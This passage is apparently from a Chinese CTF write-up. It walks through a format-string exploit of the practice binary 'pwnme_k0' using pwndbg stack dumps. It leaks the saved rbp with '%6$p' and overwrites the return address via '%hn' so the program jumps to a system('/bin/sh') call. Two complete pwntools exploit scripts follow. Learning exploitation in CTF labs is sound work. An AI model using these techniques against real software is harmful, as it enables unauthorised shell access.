02:0010│ 0x7fffffffdd28 —▸ 0x400d74 ◂— add rsp, 0x30  
03:0018│ 0x7fffffffdd30 ◂— 'qwertyui\n'  
04:0020│ 0x7fffffffdd38 ◂— 0xa /\* '\n' \*/  
05:0028│ rdi-4 0x7fffffffdd40 ◂— 0x7025702500000000  
06:0030│ 0x7fffffffdd48 ◂— '%p%p%p%p%p%p\n'  
07:0038│ 0x7fffffffdd50 ◂— 0xa70257025 /\* '%p%p\n' \*/  
───────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────  
 ► f 0 7ffff7a46f70 printf  
 f 1 400b3e  
 f 2 400d74  
 f 3 400e98  
 f 4 7ffff7a03bf7 \_\_libc\_start\_main+231  
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

**虽然存储返回地址的内存本身是动态变化的，但是其相对于rbp的地址并不会改变，所以我们可以使用相对地址来计算。**

─────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────  
00:0000│ rsp 0x7fffffffdd18 —▸ 0x400b3e ◂— nop （返回地址）  
01:0008│ rbp 0x7fffffffdd20 —▸ 0x7fffffffdd60 offset 6(因为格式化串是参数1，前6个参数存在寄存器里，所以这里是参数7，相对格式化串就是偏移6)  
02:0010│ 0x7fffffffdd28 —▸ 0x400d74 ◂— add rsp, 0x30  
03:0018│ 0x7fffffffdd30 ◂— 'aaaaaaaa\n'  
04:0020│ 0x7fffffffdd38 ◂— 0xa /\* '\n' \*/  
05:0028│ rdi-4 0x7fffffffdd40 ◂— 0x7025702500000000  
06:0030│ 0x7fffffffdd48 ◂— '%p%p%p%p%p%p\n'  
07:0038│ 0x7fffffffdd50 ◂— 0xa70257025 /\* '%p%p\n' \*/  
───────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────  
 ► f 0 7ffff7a46f70 printf  
 f 1 400b3e  
 f 2 400d74  
 f 3 400e98  
 f 4 7ffff7a03bf7 \_\_libc\_start\_main+231

这里的返回地址是printf的返回地址，这时rbp还没有变化，还未进入printf，所以rbp指向的是原来rbp的地址(old rbp)。所以当前返回地址是rbp+8，即0x400d74。

在0x7fffffffdd28这里存着，它相对于old rbp的地址就是：0x7fffffffdd60 - 0x7fffffffdd28 = 0x38

用格式化串先读offst 6，也就是0x7fffffffdd20，得到rbp地址：0x7fffffffdd60，再减去0x38就得到存储返回地址的内存地址是0x7fffffffdd28

然后就可以去覆盖这个地址存放的返回值为我们的system(‘/bin/sh’)即0x4008A6，即需要把400D74覆盖成4008A6，即：写成0x08A6 = 2214。

这里需要说明的是在某些较新的系统 (如 ubuntu 18.04) 上, 直接修改返回地址为 0x00000000004008A6 时可能会发生程序 crash, 这时可以考虑修改返回地址为 0x00000000004008AA, 即直接调用 system("/bin/sh") 处，即2218

exp1：通过把 username 改成计算出来的 ret 的地址

from pwn import \*  
io = process("./pwnme\_k0")  
context.log\_level="debug"  
#get retaddr  
io.recv()  
io.sendline("1"\*8)  
io.recv()  
io.sendline("%6$p")  
io.recv()  
io.sendline("1")  
io.recvuntil("0x")  
retaddr = int(io.recvline().strip(), 16) - 0x38  
#print "retaddr = " + hex(retaddr)  
io.sendline("2")  
io.recv()  
io.sendline(p64(retaddr))  
io.recv()  
io.sendline("%2218d%8$hn")  
io.recv()  
io.sendline("1")  
io.recv()  
io.interactive()

Exp2：在 password 后面跟上 ret 地址来修改

from pwn import \*
  
elf=ELF('./pwnme\_k0')
  
p=process('./pwnme\_k0')
  
p.recv()
  
p.sendline('a'\*8)
  
p.recv()
  
p.sendline('%6$p')
  
p.recv()
  
p.sendline('1')
  
p.recvuntil("0x")
  
ret\_addr = int(p.recvline().strip(), 16) - 0x38
  
p.sendline('2')
  
p.recv()
  
p.sendline('b'\*8)
  
p.recv()
  
payload = "%2218u%12$hn" + p64(ret\_addr)
  
p.send(payload)
  
p.recvuntil('>')
  
p.sendline('1')
  
p.interactive()